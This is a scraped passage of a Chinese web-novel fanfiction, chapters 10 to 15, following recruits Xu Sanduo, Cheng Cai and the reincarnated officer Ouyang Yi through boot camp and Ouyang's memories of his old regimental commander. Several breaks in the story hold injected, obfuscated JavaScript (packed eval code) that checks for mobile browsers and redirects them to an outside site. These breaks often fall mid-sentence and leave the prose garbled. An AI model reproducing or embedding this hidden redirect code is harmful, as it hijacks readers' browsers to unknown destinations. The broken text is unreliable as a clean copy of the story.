这是新兵连第一个被高城记住的人,史今和何洪涛的安排全做了废。 何洪涛只好自己下车,指挥其他新兵下车列队,高城看着许三多的脸就来气,这回别说什么计划了,他是一句话都不想讲,直接扭头就走。 心存歉意的史今连忙跟了过去。 他一走,伍六一也不留了。 许三多木呆呆的站在那里,还是指导员温和的拍了拍他的肩膀:“三多,先列队,你刚进部队,犯错是难免的,下次不要再犯就行了。” 许三多这才像是找着了魂似的,乖乖跟着指导员进了队伍里。犯了大错的那股绝望没有消散,但到底被指导员温和的安慰遮掩了几分。 他是安心了,高城的崩溃却没有散。他做梦都没想到,居然是自己的好班长史今招的这人。 他很想问:“你是不是喝人假酒了?晕成这样?” 但看着史今强拉起来的笑,他也不想给自己最器重的班长没脸,压下了满肚子的牢骚:“……算了,你去告别你的车吧,晚上再来见我。” 一场风波还未开始就这么平息了,但高城已经在心里发了誓,那个孬兵,打死都不能叫他进钢七连。 10. 第 10 章 进兵营的第一件事就是整理行李。 不合格的都要没收或者直接寄回去。一些可以带进来的东西也得先由部队暂时保持,等他们下连队了再还给各人。 欧阳译的身份是孤儿,自然没有可寄的地方,好在他在来部队之前就和一个参过军的师兄打听过,提前把重要财物都寄存到了银行保险柜里,钥匙和凭证则随身携带。这两样东西不算违禁品,何洪涛又格外庇护他,看到了也只是多问了他一句:“这两样你是自己保存,还是先放我那,进了连队再拿回去?” “麻烦您了。”新兵营都是大通铺,人太多,欧阳译前世就当过兵,什么离谱的事情都见过了,自然知道人有百色,他不会和许三多一样觉得大家都是好人,毫无戒心。所以,他把东西交给了何洪涛。除了这两样,还有他的随身听,光盘,以及一堆的书。 至于罐头,下车前已经吃得差不多了,他本来就没带多少。 他的个人物品因为没什么违禁品所以过得很快,其他人就惨了。 各式各样的家乡小吃不提,还有人带了一捆钱,全是崭新的纸钞,何洪涛眼皮一跳,马上说:“你现在就去隔壁屋子,清点好数量,然后把钱汇回去。我只准你留两张。其他贵重物品也一概不能留。” 至于从其他人的包里搜出来历不明的水和一撮黄土,何洪涛倒没那么惊讶了。 专治水土不服的土方,从他参军开始,每年的新兵营都一定会有人对此深信不疑。 此外呢,也有些头脑精明的,打开背包装的都是好烟好酒,不用提,这些也大多得寄回去。何洪涛还趁机说明:“部队不搞这套。” 其他人信了没有不知道,但成才不信。从检查行李开始,他的眼睛就没停过,私人行李一登场,每个人在他眼里都被打上了不同价格的标签,有的贵,有的便宜。 至于最贵的…… 他眼角余光扫过斜前方的欧阳译,算盘拨个不停。 检查完行李,又去领了私人物品,他们这些人便被分成了好几个排,好几个班。 许三多,成才,还有欧阳译,都被分在了一起。 他们的排长是史今,成才瞬间就放心了,他和许三多都是被史今招的,史今看着又特别照顾许三多,他们怎么样也算有点私人情谊。至于班长…… 一双冷厉的眼睛看过来,成才暂时放弃了自己心里那点小九九,寻思着这个人有点不太好讨好。 但没关系,只要他是班上的尖子,对方肯定不会给他冷脸。 换上作训服,大家的训练就这样开始了。 “列队!” “左右间隔10公分,前后间隔75厘米,向右看齐!” 队伍立马有条不紊的移动着。 人都是从众的,大多数人听到命令不会去想为什么,反正先跟着大家伙动起来就对了。这个班里,有两个尖子生,成才和欧阳译,这两个人的动作标准又好看,几乎不需要作任何调整,他们两个一动,其他人立马就学着他们动。 因此,伍六一的班是最快学会列队的……倒也没有。 因为…… “许三多!!!” 伍六一怒喝着向队伍的最后排走去:“你在干嘛!” 被点到名字的人浑身一颤,条件反射性的挤出了笑:“俺……” “说普通话!还有!你笑什么!这很好笑吗!!!” 许三多瞬间变得更加手足无措,可他越是这样,越让伍六一生气了。 他的一举一动,每一条都踩在伍六一的雷点上。特别这家伙还是自己老乡——虽然这是个暂时只有伍六一知道的秘密。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800493|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 托许三多的福,队伍里其他人即使被骂也很轻,伍六一的怒火完全被许三多一个人承包了。 他每天都被伍六一留下来扣动作,其他士兵休息,他扣动作,其他士兵去午睡,他扣动作,其他人都要刷牙洗脸上床睡觉了,伍六一还在锲而不舍的扣动作。 除了责任心,也是看在史今的面子上。 可惜,这家伙毫无长进。 班上说要选一个人当班副,成才立马上头了,主动找伍六一说他来训练许三多。 “你训他?”伍六一想起许三多就头疼,一头疼,家乡话就出口了。 一出口,他就知道糟了。 但眼前人精中的人精已经面露微笑了:“伍班长,难怪我一见你就觉得亲切呢,我和三……许三多都是是下榕树的,听口音,你是上榕树的吧。” 伍六一:“……” 他的冷脸让成才迅速转变攻势:“班长,其实我想竞选班副,为的就是为大众奉献,我觉得帮助落后士兵也是一种奉献,我愿意奉献!” “……那你就去奉献吧。”奉管这人是真心还是假意,伍六一都没意见。 “是!” 成才朝他敬了个标准的礼,踩着正步就神气的出门了。 临走前,他还特地去军营里喊许三多出来:“许三多,伍班长叫我教你列队。” 声音不大不小,正好足够全班人知道。 不明所以的许三多高兴得要命,马上就跟出去了。 欧阳译充耳不闻,继续叠衣服。他有种强迫症在身上,希望自己的东西一定要方方正正,整整齐齐。 上辈子,他的校长是司令,老师都是少将中将,最低也是个校官,他们这一批学生一出学校就是中尉。 一个临时的班副,根本乱不了他的心。 11.第 11 章 成才对许三多的耐心并没有比伍六一好到哪去。 只拉着人训练了不到十五分钟,他就被整崩溃了:“三呆子,你脑子有病吧!” 被骂的人无措的站在原地,双手下意识的抠着指甲。 “成才哥……” 一句哥,让成才稍微恢复了点理智,他从地上站起来,拍拍屁股上的土,重新指挥:“许三多,你就以这棵树为基准,前后间隔75厘米,列队!” 说出这句话时,他稍微有点兴奋,仿佛自己已经变成了伍六一,正在对一整个班的人发号施令。 但现实很快就把他击败了,没有一个班的人,有的,只是一个笨拙的老乡和一棵看上去和老乡一样木呆呆的树。 许三多没动,为难的看着他。 “你又咋啦?最简单的列队都不会?” “……俺,俺脑子可笨嘞。75厘米到底是多长啊?列队方向要朝哪边?”他疑惑的瞄了眼旁边的树,“俺不知道这树的脸在哪。” 成才:“……” 他答不上来,但这并不妨碍他觉得许三多的问题蠢到没边了。 “你不会看别人眼色吗?” “列队的时候,俺就是想看你来着……”但是看不见,还被班长骂了。 明明班长说,让他们看基准…… “靠!” 成才终于崩溃了,他在许三多惊慌失措的目光中,像个疯子一样对着虚空一阵拳打脚踢,最后,他表示:“算了,我不想说了。三呆子,你自己好好练吧,我帮不了你进步了。” “怎么练?” “随便你,你就自己把白天班长教的复习一遍就好了,你不是记性好吗?他说什么你应该都记得清清楚楚吧?” 说完,他就头也不回的走了。再跟许三多待在一起,他怕他会做出一点违反军纪的事。 许三多无措地站在原地,目送着他远去。 他其实想问成才,你不教了我是不是能回去了。 但对方那么生气,他又不敢问,只好听话的把白天训练的科目重新练了一次。 傍晚的训练场上没有没有别人,只有不远处的一盏灯到点亮起,照亮了许三多和他身后的影子。 远处的军营里灯火通明,许三多想也不用想就知道,人多聚在一起一定很开心。 但那样的热闹不属于他,军队讲究集体,他的错误,让他的班级承受了太多不属于他们的责罚,很多人看他的眼神已经不太对劲了,如果不是成才护着,史今排长看见他就会找他说两三句关心的话,伍六一这个班长又够凶,许三多的情况大概会恶劣许多。只是现在也没好到哪去,他一进门,原本欢声笑语的宿舍就会突然冷场。 有点想掉眼泪,许三多眨了眨眼睛,到底没让眼泪掉出来。 没有人的环境,反而让他安心了许多,这里黑乎乎的,如果不是还有灯,就像是老家的坟场了。许三多经常待在那个地方,他也喜欢待在那个地方,只是不敢和身边人说,怕村里人说他中邪了,也怕遭来老爹的暴打和同龄人的嘲笑。但那里静悄悄的,没人会打他骂他,可以让他思考一点自己的东西。 白天伍六一的指导他还记得,按照记忆里的那些教导,许三多开始笨拙的学习最基础的正步。 也不知道练了多久,等他回神时,就看见自己附近站了个人。 他吓一跳,本来就拐不会的两条腿打了个结,成功自己绊倒了自己。 “欧,欧阳……” 许三多怯懦地打着招呼。 成才经常和他说,他们和欧阳译不是一类人。许三多不赞同,但欧阳译的冷脸让经常在队伍里犯错误的他也不敢和在车上一样,开心的朝对方打招呼。 他觉得会得到一个不好的结局,但如果自己不主动,就不会知道这个残忍的事实,还可以继续假装下去。 “你还不去洗漱吗?”欧阳译问他,“再有半小时,连长就要来跟我们讲话了。” “对不起……”许三多先拿道歉开头,“我马上去。” 他说着就要跑,结果,又被欧阳译叫住了。 “许三多,二十五分钟洗漱时间对你来说应该足够吧。” “啊?嗯。十分钟也可以。我在家里经常……” “立正!” 欧阳译突然对他发号施令。 这几天被伍六一骂多了的许三多下意识站直了身体。 他觉得欧阳译喊得很有气势。 虽然这么说对不起成才,但成才喊得没班长有气势,班长喊得好像又没有欧阳译那么有气势。 “别动。” 欧阳译命令他。 对方蹲下身,摸了摸他的腿。 这个动作班长也做过,天天做,天天骂。 欧阳译的动作却比伍六一轻很多。 他只摸了两下就站起来了。 “你饭量怎么样?”他问,“最近是不是在节食?” “啊……我……没……”许三多笨拙的想否认。 欧阳译已经听出了答案:“所以,这么大训练量,你还没好好吃饭对吧。” 后者羞愧地垂下头,声音小小的:“我不想他们叫我饭桶。”本来就训练不好了,饭量还比别人大很多。 “你吃的不是他们家的饭,谁会骂你,谁又有资格骂你?” 欧阳译的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809959|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音很冷,第一次听的时候许三多就觉得了。他发出的每一个音节都像冬天的井水,冰得人一个激灵。 但他的冷,却又让许三多心里发烫。 “你站不稳是因为没力气,而且人也瘦,年纪小,肌肉没长起来,腿脚自然不会有力气。多吃饭,多运动,还有,别老想着自己要站直,你越紧张,身体就越僵。” 他像个医生,给病人开处方。 “这样就可以了吗?”对自己病情不放心的病人追问。 欧阳译说:“我以前遇到过比你更棘手的。你也就那样,没什么稀奇的。” 他的语气里带着一股笃定,一句不稀奇,让许三多瞬间安心了。 原来,这世界上不止他一个人练不好站姿。 他瞬间有点找到了同盟的心情,连欧阳译的冷脸都没那么怕了,见对方要走,就跟在他身后问:“那个人是谁啊?他后来会站军姿了吗?” “……你不认识。我也不记得他名字了。应该站得挺好的。”其实何止一个呢。当年被抓来的壮丁里,能和壮字挨边的人很少,识字的人更少。 团座说:“和平的时候一定要多教。他们不会你也要耐心。这些人里,没人想被拉这里打仗,也没人知道自己会死在哪。” 欧阳译听话的执行了。 很多没活下来的人他都记不清楚名字和脸,记忆里葬礼一直没举行过,但每天都有尸体被烧。 不烧不行,他们医疗不好,不烧,活着的人会得瘟疫。 许三多的话打断了欧阳译的回忆:“其实……我还分不清左右,还有,那个75厘米,我不知道多长……” 他真把欧阳译当医生了。再懦弱的人,遇到医生,也有关于自己病情的一大堆问题想问。 “你偷偷在右手上系根绳,记得绑绳的手是哪只,练多了就会了。” “75厘米……我记得我们学习用的书桌,高度应该差不多就是75厘米,但这个没有要求那么严,主要是要对准你前面和侧边的人,保持队伍的整齐,靠的是平时的训练,和数学不太沾边。” “我拐弯……” “腿没力气加紧张,先补充好营养再说。” 欧阳译的语气平淡得像是在说今天天气真好。 许三多不蠢,只是有点轴,但周围的人都觉得这是常识,压根没人会掰开理所当然的事情一点一点跟他详细解释。 他露出了他的大白牙:“欧阳,你好厉害!” “我不厉害。”比他高了大半个头的高材生微微垂眸,脸上并无被夸奖的惊喜,“厉害的人不是我……” 李逵本人已经死了,他只是个冒牌的李鬼。 12.第 12 章 七连长高城踩着他风风火火的步伐来了。 他是那种“未见其人,先闻其声”的典型代表,人还没走到门口,整个走廊都是他高昂的声音:“史今!快!给我拿瓶水!刚跟四连的那帮人打球累死我了!” 排长连忙拿自己水壶跑了出去。可能问了些谁赢了之类的话,高城立马说:“还用问吗?当然是咱们七连!钢七连!全团最好的兵都在我们那,我们不赢谁赢啊?” “还有啊,那个伍六一,待会你记得带人去四连把他们连长和指导员存的那几条好烟都拿过来,玉溪都不要拿,你就给我拿他的中华!分给咱七连的尝尝味。新兵营有会抽烟的没?你也记得一人给一根,不够的话,从我抽屉拿,听到的人人有份!” “是!”伍班长的声音非常洪亮,然后又略带得意的说:“连长,我这么去,四连待会该说咱们打劫了。” “打劫就打劫,愿赌服输他还赖账不成?我也是抵上了我全部家当的,比他老四的库存还多呢!但谁叫咱们七连的兵够猛呢哈哈哈。你是没看见老四打球前后那个脸色……” 听语气都能想象到他此时此刻神采飞扬的样子。 伍六一就也跟着笑了。 新兵营的人都乖乖坐在板凳上听外头的动静。大部分人都当八卦,成才则幻想着自己也能成为他们欢声笑语中的一员,许三多略缩了一下脖子,他最怕高城,每次路过,对方的眼神都恨不得把他剐了。 因为这出小剧场,身边每个人脸上都下意识的带着笑,无人能理解许三多此刻的心情,只有在欧阳译的脸上,许三多没有看见任何表情。 许三多忍不住想,我是怕连长,欧阳译又是为什么不笑?除了排长,成才……这里没有能让我留下来的理由,每个人都恨不得我马上走,我也觉得我不属于这里,我想回家,所以我不开心,可欧阳译为什么也和我一样不开心?他没有不开心的理由。指导员每天都拍着他的肩膀说:“欧阳,这个部队最需要的就是你这样的人才。”;成才视他为劲敌,每做成一件事都要回头看一眼欧阳译的表情;就连看见我就吹胡子瞪眼的连长,看见欧阳译的时候,也会忍不住的朝他微笑。 这个集体在敞开怀抱欢迎他,只要他往前走一步,就能彻底融进去。 但许三多感觉欧阳译不想进去。 比如现在,连长在上头挥斥方遒,嘴里都是大家听不懂的高射炮,导弹,坦克,侦查……这是新兵们从未见过的全新世界,每个人都听得很入迷,许三多一边惊讶,一边努力的记着,想回去写信寄给老爹知道。 但欧阳译却仍旧冷着一张脸,他坐在那里,明明是连长在台上演讲,可看他的表情,却像是连长在台上给他汇报一样。 听的人甚至格外的心不在焉。 许三多猜的没错,欧阳译确实有点走神。 他还是没有适应高城这号领导,像一串鞭炮,走到哪响到哪,每天开大会就是说连队光荣历史以及结合自身经历吹牛,从头到脚都是绝对的自信甚至自傲,骄傲来自于于他的兵,他亲手带出来的连队。 刚刚高城进来的时候,脸上甚至还带了很多汗,史今连忙去拿毛巾给他,高城顺手接过,胡乱擦了一把,嘴上还要说:“这有什么?大老爷们的,谁这么娘们唧唧的天天擦汗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819514|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后就说到以前演习,他一个人趴在泥巴堆里做伪装,浑身上下都是泥巴水,连鼻孔都有,但他就是忍住了,一天一夜,愣是没人找到他。 他什么都能说,什么都跟说书似的,加上一堆夸张的修饰词,把一句话就能说清楚的事情愣生生水成了一部荷马史诗。 骄兵出悍将,悍将也专带骄兵。一个土匪似的连长带出一个土匪似的连队并不奇怪。 欧阳译对这样的作风不讨厌也不喜欢,但不习惯。 他的团座不是这种人。 他不会像高城那么邋遢,虽然没几件像样的军装,但每一件衣服,哪怕最容易脏的衣领和袖口也一定会被洗得很干净;他也不会像高城那么爱吹牛,每次和上峰汇报,他总说:“我不能轻言胜利。”,“打赢了也是靠人命堆起来的,我们和他们还有很大的差距,不该庆祝。”;至于嗓门大,就更不会了,除了阵前动员,平日里,每每说话,团座的声音都很轻很慢,言简意赅。他眉宇间永远带着一股忧愁,唯一高兴的那段时间,是日本投降前后,但在这之后,从南京那边得到了继续镇守的命令后,他就忽然明白了什么,一夜之间,变得比过去更加沉默寡言。 欧阳译习惯了跟在这样的上司身边,自然的学会了对方的谨慎,沉默和自省。 来这之前,他做好了换个上司适应的准备,但和团座性格截然不同的高城,仍旧让他有许多的难受。 比如现在,高城的话落在欧阳译耳边,抛开多余部分,就变成了“我们部队很牛……七连就是厉害……我这个人也很厉害……” 刨去多得可怕的水分,毫无营养可言。 13.第 13 章 毫无营养但又滔滔不绝的话是被许三多打断的。 高城在上面说坦克,装甲车,地形作战的时候,就有个声音跟蚊子哼哼似的在下头重复“坦克……装甲车……地形作战……” 高亢的声音和低沉的声音不在一个声调上,很容易就被人发现了。 先是成才威胁似的掐了许三多一把,然后,队伍里更多的人望向了声源地,就连欧阳译都无法免俗。 台上的高城自然注意到了这一幕,确切的来说,是注意到了许三多那张一直合不上的嘴。 他生气了。 又是这个孬兵。 “那个兵,那个兵。”他用了他们第一次见面时的称呼,见许三多还迟钝的往旁边看,他气得声音都高了起来,“你看别人干什么?我说的就是你!” 迎着高城不善的视线,许三多感觉自己又闯祸了,伍六一背地里翻了个白眼,史今的眼神里只有担心。 “你刚刚一个人在念什么?你说给我听听。”高城这次是打定主意了不放过他。 成才心头涌上了不妙的感觉,出于对三呆子的过分熟悉,他低声提醒:“许三多,你别乱说话。” “那个兵!他旁边那个兵!你不要跟他说话!我要听他自己说!” 高城眼尖的发现了他们的动向。 成才只好闭嘴。 “你继续说。”高城不让他们有串供的可能性。 许三多听成才的,回答得很小心:“报告,我在背。” “背什么?” “就你刚刚说的那些话。” “嗬?你背我说过的话?”高城惊了,要换做是成才,他已经当对方是在拍马屁了,但对许三多那张蠢得挂像的脸,他觉得对方压根不会说话。 一丝笑出现在他嘴角,稍显隐秘,“那你背一个给我听听。” “许三多,差不多得了……”成才有点急。 “那个兵,你不要说话,让他背!” 成才:“……” 因为许三多被连长指责了两次,他选择了放弃。 算了,要毁灭,大家就一起毁灭吧。 “各型号枪械射击,当然是各种地形,包括夜战环境的。枪械原理,保养和维修……” 在除成才外,所有人诧异的目光中,许三多还真把高城刚刚说的话全部背下来了。 他这一手,别说是下面的普通士兵,就是高城也被他唬住了,心想:看来史今挑这个兵,也不完全是喝了假酒嘛。 体能不行,记忆行的话,当公务兵倒也不错…… 他这边脑子里还在盘算着呢,那边许三多已经背完了。 “这个兵可以啊,他叫什么名字?”高城的脸色缓和了,甚至带上了笑,非常明显的笑。 台上史今也放了心,伍六一捅了捅傻乐的他,他连忙起身帮底下跟着连长傻乐的许三多说话:“报告, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822920|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他叫许三多。” “许三多可以啊许三多。” 高城正式记住了这个名字,又问他:“你都知道这些是什么意思?” “报告,我不知道。” “你不知道还背?”高城感觉事情有那么一丢丢不对劲。 欧阳译想起了当时在车上,许三多也是一直在记何指导员说的那些话。 傻笑的许三多不知大祸将至,把想法直说了:“俺背会了,到时候好写信寄给俺爹。” 此话一出,台上的三个人都呆住了。 台下,成才绝望的闭上了双眼,欧阳译差点被口水呛到,其他懵懂的新兵虽然不知道怎么回事,但他们能读懂空气。 唯一读不懂空气的人此时还在傻笑着,等着连长下一句表扬。 但表扬没等到,等到的是连长劈头盖脸的一通臭骂:“你们保密守则都白学了是吧!今天你们整个排都给我把保密守则抄写三遍!!!不抄完不准睡觉!!!” 于是,下一秒,许三多就收获了许多杀人的眼神。 成才低着头:“三呆子,这你不能怪我了。”他都已经提醒了,还提醒了好多好多次。 欧阳译算是明白了为什么许三多总爱记领导们说的话。他有点无语的想,当初在火车上,他还是给许三多选错书了。 应该先看保密守则才对。 但看完之后,这位能不能理解里面的意思,也是无解。 14.第 14 章 欧阳译在半小时内结束了保密守则的抄写。 同一个班里,其余人包括成才都还在抓耳挠腮。 他环视一圈,收回目光,拿着本子走了出去。 活动室里,灯光还亮着,他走过去,果然是班长在那抄守则。 班里的新兵被罚,他作为班长也有连带责任。哪怕新兵营的班长实际上就是享有比新兵更高一等的待遇,这是所有人默认的事,但欧阳译觉得,以伍六一耿直的个性,他不会同意的。 “报告。” 他敲了敲打开的门。 伍六一没好气的扭头,看到是他,语气稍微缓和了些:“欧阳译,你来这里有什么事?” “我来交抄写。” “你就抄完了?”伍六一接过那个本子,大概的翻了翻。三篇抄写,工工整整,字还怪好看的,愣是用水笔写出了毛笔的感觉,刚劲有力,这年头还不流行字帖,伍六一一看字就乐了;“高材生到底是高材生哈。”字都和大家不一样。 “行,东西我收着了,你去睡觉吧。等练完队列,就要练习负重跑和障碍跑了,你学队列学得比他们都快,有空的话可以提前预习这个。至于文化课我就不说了,我们连长和指导员对你都是充满信心。” 他谢过班长的好意,回到了自己宿舍,上床,盖被子。 在一水抓耳挠腮的人中,他这个躺平的动作瞬间吸引了无数人注意。 “欧阳译,你就上床睡觉了?抄写呢?” “我已经写完了。” “你咋写这么快的?” “拿到的第一天我就把全篇都背了,刚刚是在默写。”默写肯定比抄写更快。 问他问题的人抽了抽嘴角,默默把‘你是不是有什么秘诀’这句话咽了回去。 其他人虽然有点妒忌,但人家能默写也是人家的本事。 欧阳译在新兵里的表现属于门门拔尖,大部分人连妒忌心都被他压碎了,既然这样,火力就集中到了另一个人身上:“许三多,都怪你!” “就是,要不是你今天乱说话,我们也不至于被罚抄。” 被指责的人本就心绪不宁,此时,头就埋得更低了。 还是成才站出来说:“好了,现在时间也不早了,你们再怎么抱怨,今天晚上这篇东西也还是要抄完的,有这个时间,不如赶紧抄完它。而且,我们是一个集体,大家不要做不利于团结的事嘛。” 这才平息。 头顶的灯明晃晃的刺眼睛,欧阳译拿被子蒙住了头。 温暖而缺氧的环境让身体迅速进入到了休眠状态,只是不够安稳。 他又梦到了和团座的以前。 和高城不同,欧阳译的团座是个很秀气斯文的男人,他把他叫到了自己的办公室,亲手给他泡了一壶茶,说是这次回省府,来做客的赵大帅送的。 他们两个人就这么喝着茶,一言不发。 过了良久,团座才斟酌着开了口。 “赵大帅挺欣赏你的,他还问我你有没有成亲,他家侄女芳龄二八,是正儿八经留过洋的大小姐,她的父亲是财政部的处长,她的兄长现在也在军队里,已经坐到师座的位置上了。正是婚配的好人选……”他又沉默了一会,舔了舔喝足了茶却仍旧干涩的嘴唇,问:“你跟他比跟我好。所以,这次回去,你要不要去别的部队?” “我不想。”欧阳译说。“何况我无父无母,无权无职,恐怕担不起赵帅的厚爱。” “你怎么能不想呢!”团座一生气,一着急,声音都变高了,“一直待在我这里是没什么出息的。聪明人都已经去政府担任要职了。不像咱们这,名头好听,但随时会被上面的人撤掉。” “那您为什么不回?唐基不是也很欣赏你吗?我听说他又升官了,论官位,也不比赵小姐的父亲差多少。” “……” 见他沉默,欧阳译也明白了答案,“你不回,我也不回。” “你怎么就这么犟呢!”几经劝说无果,团座被气到用起了欧阳译听不懂的方言,“侬丧务两脏子,我哪能讲的过侬。”(你上下两张嘴,我怎么讲得过你。) 欧阳译表情无辜的看着他。 被盯了没几分钟,这个男人就成功泄气了。 “人人都想升官发财,就你不想,真是个怪胎。” “下属像上司,这很合理。洋场十里红粉,也没见您去滚上一遭。只爱待在这硝烟地里。” “……那是我对我自己有自知之明。” “我最适合当团长,不,团长下面的一个小兵。有人顶在前头,我听冲锋令就够了。” 他嘴角扬起了一个笑,因为这句话。 “阿译,你和我是不一样的。知道赵大帅为什么会问你吗?” “为什么?” “因为校长突然和他提起你了。” “……啊?” 欧阳译的脸上,难得出现一丝空白。 然后就是无语的笑:“还真神奇,我都没和校长打过什么交道,他居然记得我。” “他对你这个人没印象,却记得你的毕业论文。有关战场的分析,你看得很透彻。赵大帅说,他们用了几年耗费了无数心血才印证出了和你同样的结论。而你只是坐在书桌前,随手写了一篇文章。后生可畏,不过于此。” “凑巧,想要毕业,大家的论文都差不多,不写自己如果毕业就可以马上解决未来的问题难道还写自己毕业之后也不能改变什么吗?你们太看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861744|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得起我了。” 对方摇头。 他又给欧阳译添了一回茶水。 “是你太自谦了,或者说,你总是在有意无意的否定自己。” “还记得你来这里的第一场战争吗?我们一百个人要对付一只五百人的精锐部队。大家都怕,所有人都和我说这仗赢不了,早点组织撤退更好。” “只有你,连夜带了一只十人小分队去侦查,回来之后就和我说,这些人是一路□□烧突围过来的,骄且疲。因此我们完全不需要退,而是要尽快集结更多粮草和武器,小股部队出击,一边击垮他们较为薄弱的侧翼,一边作为诱饵让他们大部队到达指定地点,那里地形低,土质也不适合挖战壕。利用之前缴获的装甲车进行包围,三天就可以完全拿下他们。” “事实证明,你的方法很对。那次我们只死了两个人,就剿灭了一只五百人的队伍。” “赵大帅说你的指挥是全校第一,和你同期的那些学生都知道你这么个奇人,谁都没想到你居然还只是一个团长的副官。我说我也没想到,这么久了,你居然还跟在我身边。” “ 也就是这样,我才更想让你走。赵大帅那个人还不错。而且,不管你娶不娶赵小姐,你都适合比这里更大的战场……大到整个中国……乃至国际。” “留在这,对你,对我,对在这乱世里苦苦挣扎的很多人而言,都是一种浪费。” “你注定是要为国效力的。” “也许。”欧阳译拒绝了他,“但我不想。” “可……” 他打断了他:“我会来这里的原因,就是因为我撕碎了上峰给我的报纸。” “那群傻逼,想要我安排人去研究怎么更好的把报纸上的墨取出来,供人画眉用。还说,做到了就能让我官升一级。” 他问他的团座,目光似箭,咄咄逼人:“在这种情况下,您觉得写再多的战场预测未来预测有用吗?” “我的心血,只是某人眉间的一点墨汁,随时都会被擦除。千万人血肉筑成的胜利只值轻飘飘的一个好字,就算赢了又怎么样?这么多年战争下来,国家穷得响叮当,上面的人居然越来越富了,我就算是神仙转世,能让战争马上结束又能怎么样?他们拿着外国人的援助,愿意让它马上结束吗?这些吃饱喝足的秃鹫舍得施舍给快饿死的穷人一盘肉吗?” 后者几乎是仓皇而逃,过了好几天,他才再次见到有些憔悴的他。 “你留下来吧。”团座的声音轻得宛如空气里的烟尘,“赵大帅那里,我去帮你拒绝。” “阿译,既然留下来了,你就努力,就拼命吧。” “我想早一点打赢他们,结束整个战争,哪怕就提前那么一秒……一秒也好。” 15.第 15 章 许三多发现,欧阳译开始写东西了。 闲暇时间,避开人群,有空就写。 他想上去,又不好意思打扰人家。 许三多对帮他的人有种雏鸟情结,眼珠会跟着那个人打转。 他听欧阳的,吃了很多饭,饭量大得让班长和连长都皱眉,但他们没说什么,其他人也就没说什么。 吃了两天,腿好像比以前有点力气了,方向也终于会分了,班长伍六一稀奇的打量他,这次罕见的没有说出任何嘲讽的话。 负重跑的时候,他跑得不标准,但速度快,班长难得表扬了他一回,不过,连长那里就没那么好说话了。 “跑得快有什么用,结合头次的举手,上次的泄密,也只能证明他是当逃兵的料!” 这话是背着他说的,但他还是听见了。本来想和排长说这个特大喜讯的人在那里呆了一会,悄悄的回去了。 反正……反正排长已经知道他跑步拿前三的事了。 他是第三,全连第一是欧阳译,第二却不是成才。 因为这,成才似乎不太高兴,对他爱搭不理。 许三多熟悉这种冷遇,上学的时候,因为他背书背得快,成才就会不高兴。但只要找到有地方比他强,成才就会重新开始理他,反反复复。 所以,他不着急。 果然,成才很快又开始理他了。 原因是成才终于当上了他心心念念的班副。 “许三多,我终于赢了那个书呆子一回了!”他高兴的搂住了他。 许三多皱眉:“欧阳不是书呆子。” “嘿,你站我这边还是站他那边啊?”成才急了,“我们可是老乡!之前罚抄的时候,要不是我帮你,你不被他们打死才怪!” 这话没理但也有理,许三多嘴笨,不知道怎么反驳。 成才搂着他,亲亲热热,全然看不出之前的龌龊,“不过,说起来,我这班副也有你功劳。” “啊?”被点名的人呆愣愣的。 “班长说,他本来在我和那个书呆子里犹豫的,所以我们班一直没选班副。但是呢,我主动提出要帮你,而且成效确实有,他就把这个班副给我当了。”说着,他还推了呆傻的许三多一把,“三呆子,这次谢谢你,队列进步不错,帮了我一把。” 许三多的嘴张得更大了。 